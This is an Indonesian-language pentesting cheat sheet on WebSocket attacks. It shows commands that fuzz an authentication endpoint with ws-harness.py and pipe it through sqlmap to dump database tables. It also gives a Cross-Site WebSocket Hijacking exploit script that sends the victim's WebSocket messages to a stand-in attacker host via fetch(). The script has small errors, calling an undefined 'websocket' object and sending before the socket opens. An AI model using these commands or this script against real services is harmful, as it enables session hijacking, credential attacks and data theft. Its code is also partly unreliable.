Web Socket Attack


Protokol WebSocket memungkinkan komunikasi dua arah dan full-duplex antara klien dan server

Tools

Menggunakan ws-harness.py

Jalankan ws-harness untuk mendengarkan di web-socket, dan menentukan template pesan untuk dikirim ke endpoint.

python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt

Isi pesan harus berisi kata kunci [FUZZ].

{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}

Kemudian kita bisa menggunakan tools apa pun terhadap layanan web yang baru dibuat, bekerja sebagai proxy dan merusak konten pesan yang dikirim melalui websocket dengan cepat.

sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump

Cross-Site WebSocket Hijacking (CSWSH)

Jika handshake WebSocket tidak dilindungi dengan benar menggunakan token CSRF atau file nonce, dimungkinkan untuk menggunakan WebSocket terautentikasi dari pengguna di file situs yang dikendalikan attacker karena cookie secara otomatis dikirim oleh browser. Serangan ini disebut Cross-Site WebSocket Hijacking (CSWSH).

Contoh exploit, dihosting di server attacker, yang mengeksploitasi data yang akan diterima dari WebSocket ke attacker:

<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    websocket.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Hai, ini sedikit pesan untuk server");
</script>

Kalian harus menyesuaikan kode dengan situasi yang sebenarnya. Misalnya. jika web aplikasi target menggunakan header Sec-WebSocket-Protocol di permintaan handshake, Kalian harus menambahkan nilai ini sebagai parameter ke-2 untuk pemanggilan fungsi WebSocket untuk menambahkan tajuk ini.

Referensi